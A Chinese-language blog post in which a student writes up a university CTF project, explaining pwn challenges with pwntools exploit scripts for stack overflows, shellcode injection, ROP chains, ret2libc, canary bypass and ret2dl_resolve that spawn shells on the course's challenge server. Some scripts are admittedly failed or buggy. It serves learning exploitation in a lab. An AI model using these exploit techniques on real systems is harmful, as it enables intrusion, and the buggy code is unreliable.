創作內容

16 GP

2018 ADL CTF - PWN & Reverse

作者:海闊天空│2018-12-28 20:19:55│贊助:1,128│人氣:744
這學期修了「電腦攻擊與防禦」,其實學的還蠻有興趣的,記錄一下:


  • What is CTF?
  CTF就是(Capture The Flag),是一種勝利的象徵,古代打仗時若是奪下敵人越多的旗幟,則表示我方的贏面越大,這項概念則沿用到了現在的資安攻防中。

  現在有許多資安電腦攻防的比賽,也採用奪旗的概念,每一個參賽者都有一個必須要保護的伺服器,在這個伺服器中執行的各種服務,則充滿了各式各樣的漏洞。參賽者就必須要有能力分析系統漏洞,利用該漏洞撰寫攻擊程式,對其他隊伍的伺服器發動攻擊。在攻擊的過程中,如何確認攻擊成功,可以從被攻擊隊伍中取得一個象徵該隊的旗幟(Flag)或是金鑰,並上傳給主辦單位的伺服器後,就可以確認該次攻擊成功得分。
  • How to solve puzzles?
  CTF的範疇很多,主要是以Jeopardy(解謎式)的方式進行,底下又大概分了幾種最主要出現在CTF的題型:
    1. Reverse (Binary)
    2. Pwnable (程式弱點分析)
    3. Crypto (解碼)
    4. Forensics (鑑識)
    5. Misc (綜合)
  這學期的第一個Project有8+1個bonus題,主要是Reverse 與Pwnable,試著找出程式漏洞,並透過遠端的方式將exploit寫入伺服器中,來取得藏在home目錄下的flag。不過我太多事情要忙,所以在大概Project截止前三天才認真開打,助教看大家狀況不OK還多延了兩天,最後我打了7題+bonus,最後一題知道怎麼打但是時間不夠QQ。
  原本這是一個4人的Project,我的隊友是我3個lab的學長,但是他們幾乎沒看台大攻防的課程,也沒上網實作一些lab題,我只好鼻子摸摸自己解了,中間是各式各樣的懷疑人生隨時想開幹的那種,嘆......再說了。
  正文開始,檔案我都放這個資料夾,可以拿下來練習打指令跟payload:

https://drive.google.com/open?id=1pFRaM2Bslf54DFRLypkFH5xbdb1mr4pR

解CTF必備好用的工具:

$ VirtualBox + 你喜歡的Linux系統(我是Ubuntu 16.04 x64)
$ IDA PRO (反組譯工具)
$ pwntools
$ gdb peda
$ ROPgadget
$ one_gadget
$ shellcraft
$ 各種ret2xxx的攻擊方式

1. helloworld


  • babybof.py
from pwn import *

host, port =
"ctf.adl.tw", 11001

p = remote(host,port)

printp.recvline()

p.sendline(
"a"*0x18 + "\x27\x06\x40\x00" + "\x00\x00\x00\x00")

p.interactive()

這題是簡單的Buffer_Overflow的程式,基本上之後的每一題都先用gdb的 aslrchecksec來看程式的保護機制。使用後知道除了DEP(NX)之外其他的保護機制都沒開,故可以試著透過蓋過return address並將EIP控制到想要寫的記憶體位址,來控制程式的flow。
先進gdb run一下程式:

可以知道說在輸入24 bytes 大小的數字時,便會造成Segmentation Fault,所以這24bytes就是 buf的size + rbp的return address(8byte),便可以回推 buf size為 16bytes。
之後便可以下指令看一下程式碼有哪些可以做information leak:
  • $objdump -M intel -d helloworld

    有個 <give_me_shell> 的函式,裡面可以call system可以利用,所以我們只要將overflow後的return address蓋過去之後便能將函式的位置call出來。
要得到蓋過多少個bytes的資訊,可以先用gdb做 disas main 後,下斷點在call printf的地方。

查看printf的參數之後,便可以看到input的值被放進0x7fffffffde60裡頭,而rbp的值則是指到0x7fffffffde70。我們便可以推算rbp的return address是在 0x7fffffffde78 ,距離buffer的位置差了 0x7fffffffde78 - 0x7fffffffde60 = 0x18 個bytes,與我們一開始推算的24bytes一樣。


這邊我們再嘗試一次,這次輸入了32 bytes的字元,也確認有蓋過return address 0x18 - 0x20,也確實出現segmentation fault,並控制了rip為0x6161616161616。

之後便可以將開始寫payload,導入到遠端的host與port中,便能進入根目錄中尋找flag了。

2. secret file

  • BSS.py
from pwn import *

host, port =
"ctf.adl.tw", 11002
r = remote(host, port)

payload=
"A" * 32 + "/home/secretfile/flag"

r.recv()
r.send(
"aaaa")

r.recv()
r.send(payload)

r.recv()
r.interactive()


這題有兩個存東西的buf,分別是filename(buf size = 4)和username(buf size = 16)。輸入4個bytes的檔案名,看起來很正常,但是輸入flag時就報了有趣的東西,那解法就是遠端進去讀特定的檔案來cat flag出來。
執行時會先輸入filename再輸入username,目標是輸入username時buffer overflow路徑位置到filename,先塞到它爆掉後再蓋到他的return address。
從上面就可以觀察到 filename與username距離是 0x6010c0 - 0x6010a0 = 0x20 bytes,跳到那個位置後觀察一下程式流程:
所以可以知道輸入username 32個bytes後可以蓋到filename的位置,然後直接cat home目錄裡面的flag,皆大歡喜%%%%%。

3. recorder

  • ret2shell.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

host =
"ctf.adl.tw"
port = 11003
context.arch = "amd64"
r = remote (host,port)

r.recvuntil(
"name?")
payload =
"a"*4

r.send(payload)
r.recvuntil(
"record?")

payload =
"\x5E\x48\x32\xFF\x0F\x05" + "a"*18 +p64(0x601060) + p64(0x601066)
r.send(payload)

payload = asm(shellcraft.amd64.sh())
r.send(payload)
r.interactive()
先看一下保護機制:

沒開NX,可以試著直接把shellcode寫進去。但是寫入時發現,雖然buffer給的size是40個bytes,但是寫入24個bytes後就造成了overflow,然後寫入40個bytes才回到main裡面。


-----------*main function*-------------
|0008    "a"*8                                   |
|0016    "a"*8                                   |
|0024    "a"*8                                   |
|0032    ebp                                      |
|0040    return address                     |
----------*stack長這樣----------------
因此我們可以寫shellcode的位置是1~24 byte33~40byte的地方,但是我們產生的shellcode長度基本超過了24 bytes,所以前面要想辦法塞東西能夠讀更多的shellcode。
那麼就多寫一個read進去就可以了,可以試著調用linux內的read的syscall來實作:

asm("pop rsi\nxor  rdi,rdi\nsyscall")
#0:  5e                      pop    rsi
#1:  48 32 ff              xor    rdi,rdi
#4:  0f 05                  syscall

#"\x5E\x48\x32\xFF\x0F\x05"
讀進去read之後,便開始來改寫return address的位置,將rsp指到程式碼可讀可寫的stack frame裡頭,再寫入shellcode。這邊我們可以用 vmmap 看stack的分布,或是用 readelf 來看bss段可寫處。

把payload push 進去,成功寫入shell:
-----------*main function*-----------------------------
|0008    "\x5E\x48\x32\xFF\x0F\x05" +"a"*2    |               
|0016    "a"*8                                                   |
|0024    "a"*8                                                   |
|0032    p64(0x601060)                                   |
|0040    p64(0x601066)                                   |
|0048    sh("/bin/sh")                                        |
----------*stack長這樣---------------------------------

4. echomachine

  • ROP.py
#!/usr/bin/env python
# -*- coding: utf-8 -*
-

from pwn import *
host = "ctf.adl.tw"
port = 11004
r = remote (host,port)

payload = "a"*24
context.arch = "amd64"

#write /bin/sh
mov_drdi_rsi = 0x0000000000446d1b
pop_rdi = 0x0000000000400686
pop_rsi = 0x0000000000410183
buf = 0x6b90e0
pop_rax_rdx_rbx = 0x0000000000481b16
syscall = 0x0000000000474d05

rop = flat([
     pop_rdi,           
     buf
,
           pop_rsi,
           "/bin/sh\x00",
           mov_drdi_rsi,
           pop_rsi
,0,
           pop_rax_rdx_rbx
,0x3b,0,0,
           syscall
         
])
r.interactive()




















先用asllr與checksec確認保護機制:

有開 canary與 NX,所以沒辦法簡單的直接寫入shellcode執行,那我們這邊可以利用 Return Oriented Programming(ROP) 來控制stack後的內容,並利用
ret = pop rip,來持續控制rip。

  • ROP chain
    • 透過ROP gadget來串成ROP chain
    • 操作一些特定的register與return位置,來呼叫system call
    • 利用特定代碼來達到寫出shellcode的效果

這題的buffer size為16,輸入16+8 = 24 bytes蓋過return address形成overflow之後,我們便可以試著利用gadgets串出/bin/sh。

  • How to find gadget?
    • $ ROPgadget --binary echomachine
    • $ ROPgadget --ropchain --binary echomachine

我們使用第一個指令來自己串ROP chain,因為通常透過static linking組的chain都太長,必須要改短一點不會造成 stack smashing。

$ ROPgadget --binary echomachine > dump // 將gadget放置到文件裡面
$ cat dump | grep "mov qword ptr \[rdi\]," // 找到可用的位址
$ cat dump | grep "pop" // 開始串 rdi,rsi
$ gdb echomachine
$ readelf
...
...
data = 0x6b90e0 // 找到能寫的memory段(buf)
..
串完memory段後,開始透過rax寫入registers中,再將/bin/sh寫入已知的memory中執行syscall。

  • execve(/bin/sh,NULL,NULL)
    • rax = 0x3b, rdi = address of /bin/sh
    • rsi = 0, rdx = 0
$ cat dump | grep "pop rax"
// 找能pop rax的gadget,但是ret後面不要有其他東西,不然太難寫
$ cat dump | grep "syscall" // 呼叫syscall
接下來便可以將ROP chain起來與payload一起送進去,但是每個數值都要用 p64(pop_rdi) pack起來,寫起來太麻煩了,可以直接用 flat() 串起來比較方便。

rop = flat([
     pop_rdi, // gadget1            
     buf
, // ret
           pop_rsi, //gadget2
           "/bin/sh\x00", // 要寫入執行的sh
           mov_drdi_rsi, // 搬記憶體位置改rax
           pop_rsi
,0, // 寫進memory && ret
           pop_rax_rdx_rbx
,0x3b,0,0, // 寫進memory && ret
           syscall
// 執行syscall            
])
串的過程中要找怎樣的gadget都可以,只要確保 “/bin/sh\x00” 能夠被放進去一個可讀可寫的地方即可。

5. memolist

  • memolist.py

#!/usr/bin/env python
# -*- coding: utf-8 -*
-

from pwn import *
context.arch =
'amd64'

libc = ELF('libc.so.6')
host =
"ctf.adl.tw"
port = 11005
r = remote (host,port)

system_off = libc.symbols[
'system']
atoi_off = libc.symbols[
'atoi']

r.recv()
sleep(
1)
r.sendline(
'1')
sleep(
1)
r.recv()
sleep(
1)
r.sendline(
'-4')
r.recvuntil(
": ")

atoi_addr = u64(r.recv(
6).ljust(8, "\x00"))
base_addr = (atoi_addr - atoi_off)
system_addr = base_addr + system_off

r.recv()
sleep(
1)
r.sendline(
'2')
r.recv()
sleep(
1)
r.sendline(
'-4')
r.recv()
sleep(
1)

r.sendline(p64(system_addr))
r.recv()
sleep(
1)

r.sendline(
"/bin/sh\x00")

這題好心的給了libc.so.6的檔案,明顯的是要做類似ret2libc的攻擊,如果沒給的話就得要自己去想辦法leak出來,不太方便。
一樣先看保護機制:

  • Return-to-libc
    • 一般狀況下很難有system可以直接獲得shell function。
    • 有DEP(NX)的情況下,也很難有辦法來填入Shellcode執行程式碼。
    • 但是在Dynamic linking的情況下,程式通常會載入libc,裡面通常會有好用的function來執行我們的目的。
    • e.g. system()execve()

  • How to get the address of libc?
    • information leak來找出libc的base_address。
    • GOT(Global Offset Table)
    • Stack 或Heap上的殘留值 (因為在function return或free Heap時不會清空內容)
    • $ objdump -T libc.so.6 | grep function
簡單的來說,要繞過DEP(NX)保護機制的話,我們可以透過將程式的retunr address指向某些特定函數的返回位置,而我們指回去的位置通常是指到 libc 的函式庫中,並透過裡頭的system()呼叫來執行特定程式,藉此獲得系統的root權限。
這邊可以用 elfsymbol 來看可以用哪些函式:
同時也可以利用 ldd看載入的libc位置在哪裡:
接下來可以開始尋找程式漏洞,發現在輸入index的時候可以輸入類似 -1,-2之類的數值,這個在進入atoi轉換時會造成information leak,把got上的address指向到memo的內容,藉此可以拿到atoi的address。
確認要用的函式是什麼之後,先用recv把address接下來,之後我們就可以開始把要用的東西抓出來:


可以知道atoi的offset是0x36e80,system則是0x45390
r.sendline('-4') # leak address
r.recvuntil(": ")
atoi_addr = u64(r.recv(
6).ljust(8, "\x00")) # address用0補滿8bytes後unpack
base_addr = (atoi_addr - atoi_off) # 算出libc的base_address
system_addr = base_addr + system_off # /bin/sh的位置
得到可以執行的system位置後,直接送"/bin/sh\x00"就可以得到root權限了。

6. echomachine2


  • Stack_Migration.py
#!usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
host =
"ctf.adl.tw"
port = 11006
r= remote(host, port)
context.arch =
"amd64"

libc_start_main_offset = 0x20740
one_gadget = 0x45216

r.recvuntil("Give me some message:\n")
payload =
"a"*56
r.send(payload +"\n")
r.recvuntil(
"echo:\n" + payload)

ret_addr = r.recv()
ret_addr = ret_addr[:
-1]
ret_addr += (
8-len(ret_addr))*'\0'
libc_base = u64(ret_addr) - libc_start_main_offset - 202
system = libc_base + one_gadget

r.recvuntil(
"Give me some message:\n")
payload =
"a"*56
payload += p64(system)
r.send(payload)
r.recv()
r.interactive()

  • 基本上同echomachine的方法來串ROP chain,chain起來透過leave來將Stack的位置搬到已知的位置上,可以再串一次ROP chain讓我們寫入更多東西,這題是Stack migration。
  • 多串了兩個 read.plt,讓他能夠讀到更多的東西,類似ret2shell的作法,最後串成了4*8 = 32bytes的gadget讓他放。
  • 前面的buffer size是48個bytes,所以輸入56bytes後可以蓋過return address,照理來說應該能形成buffer overflow,但是在輸入超過56bytes之後卻出現了illegal。這邊發現了幾個問題:
      1. 這題應該限制了我們使用 pop rsi 與 pop rdx 來做到輸入任意數量的padding。
      2. 在算libc_base的時候有個問題,在主程式碼裡面沒有syscall的gadget,所以沒辦法從檔案裡面撈出來,也不應該使用libc裡面的gadget。
      3. 就算試著硬撈出來了libc_base的位置,但是也要想辦法再回到程式碼的main裡面,讓他能再輸入一次,不然會直接吃EOF結束程式。
  • 所以我一開始打這題失敗的payload大概是長這樣,吃到EOF就不跑了(´・_・`)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
host =
"ctf.adl.tw"
port = 11006
context.arch = "amd64"
r = remote (host,port)libc = ELF('libc.so.6')
#libc_start_main_got = libc.got['__libc_start_main'] 
#↑ Why would I do that==?
read_plt = 0x400560
puts_plt = 0x400530
leave_ret = 0x40070a
pop_rbp = 0x4005e8
pop_rdi = 0x400773
pop_rsi_r15 = 0x400771
puts_got = 0x6f690
system_off = 0x45390
buf = 0x602000 - 0x200
buf2 = buf + 0x100
payload = "a"*56
payload += flat([buf,pop_rdi,0,pop_rsi_r15,buf,0,pop_rbp,0x100,read_plt,leave_ret])
r.recvuntil(
"\n")
r.send(payload)
rop = flat([buf2,pop_rdi,puts_got,puts_plt,pop_rdi,
0,pop_rsi_r15,buf2,0,pop_rbp,0x100,read_plt,leave_ret])
r.sendline(rop)
r.recvuntil(
"\n")
#puts = u64(r.recvuntil("\n").strip().ljust(8,"\x00"))  // fking useless
#libc_addr = puts - puts_got // fking useless
system = 0x7ffff7a05a40 + 0x45216
#print hex(libc_addr)
rop2 = flat([buf,pop_rdi,buf2+4*8,system,"/bin/sh\x00"])
r.sendline(rop2)
# Why do I receive an EOF ????????????
r.interactive()

後來再確認了一下輸入56 bytes的輸出,發現重點在於printf的 \n,輸入進的padding吃到換行符號,蓋過的return address的第一個byte,這樣能讓程式跳到 <__libc_start_main> 的前面,這樣就有辦法讓它能再call一次main function,而程式也不會因為printf吃到 \n 之後便停下來了!

首先做objdump看一下 <__libc_start_main> 的進入位置:

可以知道 <__libc_start_main> 是從 0x4005a4 進入的,而main()的memory位置是 0x400667

距離是195 bytes,但是要扣除掉一個吃到的換行字元再加上return address的8bytes,所以是195-1+8 = 202bytes
有這個資訊之後,我們可以把程式指到 <__libs_start_main+202> 讓它再執行一次輸入,也能透過它來做information leak,拿到libc_base的位置。

ret_addr = r.recv() # get return address
ret_addr = ret_addr[:-1] #換行拿掉 我不要
ret_addr += (8-len(ret_addr))*'\0' # 補到8個bytes

libc_base = u64(ret_addr) -libc_start_main_offset -
202
有了libc_base之後,就可以想辦法把/bin/sh寫進去,這邊可以使用強大優秀的工具 one_gadget,直接調用glibc裡面的 execve("/bin/sh,0,0"),這樣就可以將能寫入"/bin/sh"的gadget全部列出來,再也不需要靠ROP chain來chain去還找錯了。

$ sudo apt-get install ruby // one_gadget是用ruby寫的
$ sudo apt-get install gem // 記得安裝gem的管理包
$ gem install one_gadget
...
$ one_gadget libc.so.6

我們使用0x45216的這個gadget當作我們的system_offset,但是要注意它的constrait是否符合 rax=0,這邊我們可以將程式斷在ret的位置,看一下它的rax是否為0x0,確認OK後便可以執行system("/bin/sh")了。
不過正規作法還是stack migration啦,但我努力了==

7. memolist2

  • Bypass_Canary.py
#!usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
host =
"ctf.adl.tw"
port = 11007
while True:
    r = remote(host,port)
    r.recvuntil(
"choice :")
    r.send(
"1")
    r.recvuntil(
"What do you want to write?\n")
    r.send(
"a"*41)
    r.recvuntil(
"Are you sure want to add this memo: " + "a"*40)

    canary = r.recvline()
    canary = canary[:
8]
    canary = u64(canary)
    canary = canary -
0x61
    Least_Significant_Byte = canary[8]
    
if ord(Least_Significant_Byte) + 0x48 < 0x100:
        
break

r.recvuntil(
"1.yes, 2.no, 3.cancel : ")
r.send(
"2")
r.recvuntil(
"What do you want to write?\n")
payload =
"a"*40 +p64(canary) + chr(ord(Least_Significant_Byte) + 0x48)
r.send(payload)

r.recvuntil(
"1.yes, 2.no, 3.cancel : ")
r.send(
"1")
r.recvuntil(
"choice :")
r.send(
"2")
r.recvuntil(
"Here is your memo: ")

libc_start_main = r.recvuntil(
"\n")
libc_start_main = r.recvuntil[:
-1]
libc_start_main += (
8-len(libc_start_main))*'\0'
libc_start_main = u64(libc_start_main)
libc_start_main = libc_start_main -
240
#print hex(libc_start_main)

one_gadget_offset = 0x45216
libc_start_main_offset = 0x20740
one_gadget = libc_start_main - libc_start_main_offset + one_gadget_offset
one_gadget = p64(one_gadget)

r.recvuntil(
"choice :")
r.send(
"1")
r.recvuntil(
"What do you want to write?\n")
payload = one_gadget +
"a"*32 +p64(canary) + Least_Significant_Byte
r.send(payload)

r.recvuntil(
"1.yes, 2.no, 3.cancel : ")
r.send(
"1")
r.recvuntil(
"choice :")
r.send(
"4")
r.recvuntil(
"Goodbye~")
r.interactive()

先檢查保護機制與objdump觀察:


看到了 [rbp-0x8] <__stack_chk_fail_plt>,便是有開啟stack canary來防止buffer overflow,因此這題很明顯的就是要bypass canary檢查。
  • stack canary開啟時,在stack裡面會插入一些cookie訊息,在函數return時會連同cookie一起返回,並檢驗cookie是否有被修改過。
  • 通常在蓋過return address來執行shellcode時,也會一併將cookie蓋掉,所以這樣就不能通過canary的檢查,並丟出check_fail的訊息。
  • 要bypass canary,就必須算出canary確切的位置在哪,來改變pointer指向到其他能做事情的位置,或是利用各種information leak來找出canary。
繼續觀察objdump,發現在<add_memo>裡面也有canary,而且與main裡面一樣,是將canary放在 [rbp-0x8] 裡面。

一開始的思路是想要直接蓋掉canary,從main呼叫add_memo時,add_memo可以讀入0x31個bytes,但是在add_memo的buffer卻只有0x30個bytes,因此透過這個方式能直接寫rbp的Least_Significant_Byte,來試著蓋掉canary。

但是後來發現這樣會直接造成stack smashing,於是只能一個個找看看canary可能的值。
主程式裡面buffer的size是0x28(40),當輸入40個bytes的值時,加上換行符號 \n 便是41個bytes,發現明明蓋到了canary的第一個位置,卻能直接bypass過去,於是可以確定 canary的第一個byte是\x00
簡單圖解大概是這樣:
-----------*main function*------------------------
|0008    "a"*8                              |
|0016    "a"*8                              |
|0024    "a"*8                              |
|0032    "a"*8                              |
|0040    "a"*8                              |
|0048    canary                              |
|0056    ebp                                |
|0064    return address of <add_memo>   |
----------*stack長這樣----------------------------
拿到canary第一個byte之後,我們就可以試著來leak canary的值出來了。
canary = r.recvline() #leak canary後面一大堆東西
canary = canary[:8] #我只要前面8個byte的canary
canary = u64(canary) # unpack成位址
canary = canary - 0x61
#原始的canary可能長這樣:"\x00\xaa\xbb\xcc\......"
#unpack之後會變成(0x......ccbbaa00)
#但是我們塞41個a,把canary的位址改寫成(0x......ccbbaa61)了
#為了要通過canary的檢查,所以我們要扣掉0x61(a的ASCII in hex)#print hex(canary)
之後我們可以把ebp拿出來,並指向main function的return address,得到return address後便能算出libc_base,或是透過它來指向其他地方。
Least_Significant_Byte = canary[8] # 得到ebp的第一個byte
但是我們發現放進memo後,這個變數會存在底下這個stack結構裡面:
-----------*main function*------------------------
|0008    "a"*8                              |
|0016    "a"*8                              |
|0024    "a"*8                              |
|0032    "a"*8                              |
|0040    "a"*8                              |
|0048    "a"*8                                   |
|0056    canary                              |
|0064    ebp                |
|0072    return address of <add_memo>   |
----------*stack長這樣----------------------------

這樣有個尷尬的點是,我們要印出main function的return address的話,必須要將ebp往上推72 bytes才行,基本上也等於說把main的base address往上移72 bytes。但是如果加完後造成進位的話,這樣我們就沒辦法把ebp的第一個byte再放回去指向到該去的位置,導致我們拿錯真正的address,所以這邊就多寫一個判斷式,讓它進位後就break重來。

while True:
    ...
    Least_Significant_Byte = canary[
8] # 拿到ebp第一個byte
    if ord(Least_Significant_Byte) + 0x48 < 0x100:
        
break
    # 他一開始可能是長成這樣: "\xab"
    # 但是如果他+72(0x48)之後造成進位,變成 "\x101"
    # 因為little endian的表示法,這個就G了
拿到canary值了,剛剛那些輸入就不必了,選No後就可以把payload送進去,利用payload來leak <__libc_start_main> 的位置。

libc_start_main = r.recvuntil("\n") # get return address
libc_start_main = r.recvuntil[:-1] # 不要換行
libc_start_main += (8-len(libc_start_main))*'\0' #補滿8個bytes
libc_start_main = u64(libc_start_main) # 解包成位址
libc_start_main = libc_start_main - 240 # leak出位置
#print hex(libc_start_main)
這邊也可以用one_gadget與objdump可以找出各項的offset,便可以找出執行/bin/sh的位置,連同payload一起打包送進去了,形成新的stack架構。
-----------*New Stack*------------------------
|0008    one_gadget                           |
|0016    one_gadget                           |
|0024    "a"*8                              |
|0032    "a"*8                              |
|0040    "a"*8                              |
|0048    "a"*8                                   |
|0056    canary                              |
|0064    ebp                |
|0072    return address of <add_memo>   |
----------*stack長這樣----------------------------

8. echorobot (我沒解出來,format string)

這題大概試了一下是format string的解法,輸入%s或是%d會leak東西出來,但我後來都沒時間做了,只好先放掉QQ。

9. [Bonus]silent

(這個我拿網路上的sample硬拚出來,之後要再了解,我完全不知道為什麼他過了==)

  • Ret_2_dl_resolver.py
# coding = utf-8
from pwn import *
import roputils

p = process('./silent')
# p = remote('ctf.adl.tw', 11009)
payload = "A"*16                   #這個我改成我要的offset
payload += p32(0x804a500)
payload += p32(0x8048483)          #我改成自己read的上面幾行
payload += p32(80)                 # exact length of stage 2 payload
payload += "B"*(64-len(payload))

rop = roputils.ROP('./silent')
addr_bss = rop.section('.bss')
payload += "A"*16               #這個我改成我要的offset
payload += p32(0x804a500)

# Read the fake tabs from payload2 to bss
payload += rop.call("read", 0, addr_bss, 150)

# Call dl_resolve with offset to our fake symbol
payload += rop.dl_resolve_call(addr_bss+60, addr_bss)
payload += "a"*24       #這個我加的
# Create fake rel and sym on bss
payload2 = rop.string("/bin/sh")
payload2 += rop.fill(60, payload2)                        # Align symbol to bss+60
payload2 += rop.dl_resolve_data(addr_bss+60, "system")    # Fake r_info / st_name
payload2 += rop.fill(150, payload2)
    
payload += payload2

payload = payload.ljust(0x100, "\x00")
p.sendline(payload)
#p.send("A"*44 + flat(rop) + "A"*(256-44-len(flat(rop))))
p.interactive()

```
$ readelf -d silent

Dynamic section at offset 0xf14 contains 24 entries:
Tag          Type                         Name/Value
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000c (INIT)                       0x80482f0
0x0000000d (FINI)                       0x8048504
0x00000019 (INIT_ARRAY)                 0x8049f08
0x0000001b (INIT_ARRAYSZ)               4 (bytes)
0x0000001a (FINI_ARRAY)                 0x8049f0c
0x0000001c (FINI_ARRAYSZ)               4 (bytes)
0x6ffffef5 (GNU_HASH)                   0x80481ac
0x00000005 (STRTAB)                     0x8048240    <--- .dynstr base address
0x00000006 (SYMTAB)                     0x80481d0    <--- .dynsym base address
0x0000000a (STRSZ)                      88 (bytes)
0x0000000b (SYMENT)                     16 (bytes)
0x00000015 (DEBUG)                      0x0
0x00000003 (PLTGOT)                     0x804a000
0x00000002 (PLTRELSZ)                   24 (bytes)
0x00000014 (PLTREL)                     REL
0x00000017 (JMPREL)                     0x80482d8    <--- .rel.plt base addres
0x00000011 (REL)                        0x80482c8    
0x00000012 (RELSZ)                      16 (bytes)   <--- .dynsym entry size
0x00000013 (RELENT)                     8 (bytes)    <--- .rel.plt entry size
0x6ffffffe (VERNEED)                    0x80482a8
0x6fffffff (VERNEEDNUM)                 1
0x6ffffff0 (VERSYM)                     0x8048298
0x00000000 (NULL)                       0x0
```

你可以比對`readelf -s silent`的結果,確認一下

# dl_resolver()流程:

下面是我的gdb輸出:

```
0x8048340 <read@plt>:jmp    DWORD PTR ds:0x804a010    #
=> 0x8048346 <read@plt+6>:push   0x8   #用來找到`.rel.plt`entry,
   0x804834b <read@plt+11>:jmp    0x8048320
```

1. 先找到相應得`.rel.plt`的entry,

`push 0x8`代表`.rel.plt + 8bytes`可以找到`read`的entry

從gdb裡面看:

```
gdb-peda$ x/2x 0x80482d8+0x8
0x80482e0:0x0804a0100x00000207
```
對應於:`readelf -r silent`顯示出來的前兩位資訊:

```
# readelf -r silent | grep read
0804a010  00000207 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
```
這個資料結構是:

```
typedef struct {
    Elf32_Addr r_offset;
    Elf32_Word r_info;      // info資訊用來索引`.dynsym`中的entry
} Elf32_Rel;
```

注意: `dl_resolver`會檢查最後一位是不是7,所以最後一個byte一定要是`0x07`

2. 找到`.dynsym`中相應的entry:

該entry應該放在`.dynsym + (r_info>>8)*RELSZ`,以`read`來說:

```
gdb-peda$ x/4x 0x80481d0+(0x207>>8)*16
0x80481f0:0x0000001a0x000000000x000000000x00000012
```
他的資料結構是:

```
typedef struct
{
  Elf32_Word    st_name;   /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;  /* Symbol value */
  Elf32_Word    st_size;   /* Symbol size */
  unsigned char st_info;   /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;
```

最重要的是第一個4bytes entry: `st_name`,`dl_resolver`用這個來找函式的實體位置,其他的值設定的跟`read`一樣就好模仿

3. 找到symbol name,並用他尋找實體位置:

`.dystr + st_name`會是symbol名稱:

```
gdb-peda$ x/s 0x8048240+0x1a
0x804825a:"read"
```

# return-to-dl_resolver

構造出上面的資料結構,用rop的方式,去呼叫dl_resolver,放入適當參數,讓他找到我們的資料結構,就ok了


小記:
  這學期修了攻防與Linux作業系統兩門課,都是同一個教授教的,學到的東西都很多,不禁感嘆中央還是有好教授的QQ。
  Project 2 是WEB 的題目,主要是一些網頁的Cookie information leak跟php & MySQL 的injection,當闖關遊戲是很好玩啦,只是有deadline解不出來就要跟分數過不去了。
  聽學長說想要學CTF,就要寫個Writeup記錄一下自己學了什麼,也要盡量解釋給其他人看能不能看懂,就來無聊寫寫了。Linux也是蠻值得寫Writeup的,這兩門課大概是我央資工素質最高的碩班課了。教授夠強,助教也是各種大黑黑,上次寫Linux Project 1去demo直接被助教電到起飛==。
  目前WEB +PWN排名12,很羨慕有隊友一起打,自己一個人解這個真的卡到不行,只能繼續加油了。

引用網址:https://home.gamer.com.tw/TrackBack.php?sn=4241691
All rights reserved. 版權所有,保留一切權利

相關創作

留言共 4 篇留言

03
文組拉下推,資工根本你的水,老潛水員祝好運.

12-28 20:24

海闊天空
我是覺得快被淹死了啦,期末很多Project要交好累QQ12-28 20:46
薯條控
成為第二ㄍ黑橘大神!

12-28 20:34

海闊天空
勿== 我還差得遠了 解WEB看不懂php跟laravel快崩潰12-28 20:46
萬里磁鐵貓
大老 <(_ _)>

12-28 22:50

海闊天空
大哥 <(_ _)>12-30 00:06
eRroR
理組下拉 感覺很神

12-29 11:40

海闊天空
寫完我也想下拉 好多東西==12-30 00:06
我要留言提醒:您尚未登入,請先登入再留言

16喜歡★afs236974 可決定是否刪除您的留言,請勿發表違反站規文字。

前一篇:The End of F...

追蹤私訊

作品資料夾

august0812里歐
加洛:好!我們用那招吧!里歐:那招!?加洛:GATTAI DA☆看更多我要大聲說昨天18:36


face基於日前微軟官方表示 Internet Explorer 不再支援新的網路標準,可能無法使用新的應用程式來呈現網站內容,在瀏覽器支援度及網站安全性的雙重考量下,為了讓巴友們有更好的使用體驗,巴哈姆特即將於 2019年9月2日 停止支援 Internet Explorer 瀏覽器的頁面呈現和功能。
屆時建議您使用下述瀏覽器來瀏覽巴哈姆特:
。Google Chrome(推薦)
。Mozilla Firefox
。Microsoft Edge(Windows10以上的作業系統版本才可使用)

face我們了解您不想看到廣告的心情⋯ 若您願意支持巴哈姆特永續經營,請將 gamer.com.tw 加入廣告阻擋工具的白名單中,謝謝 !【教學】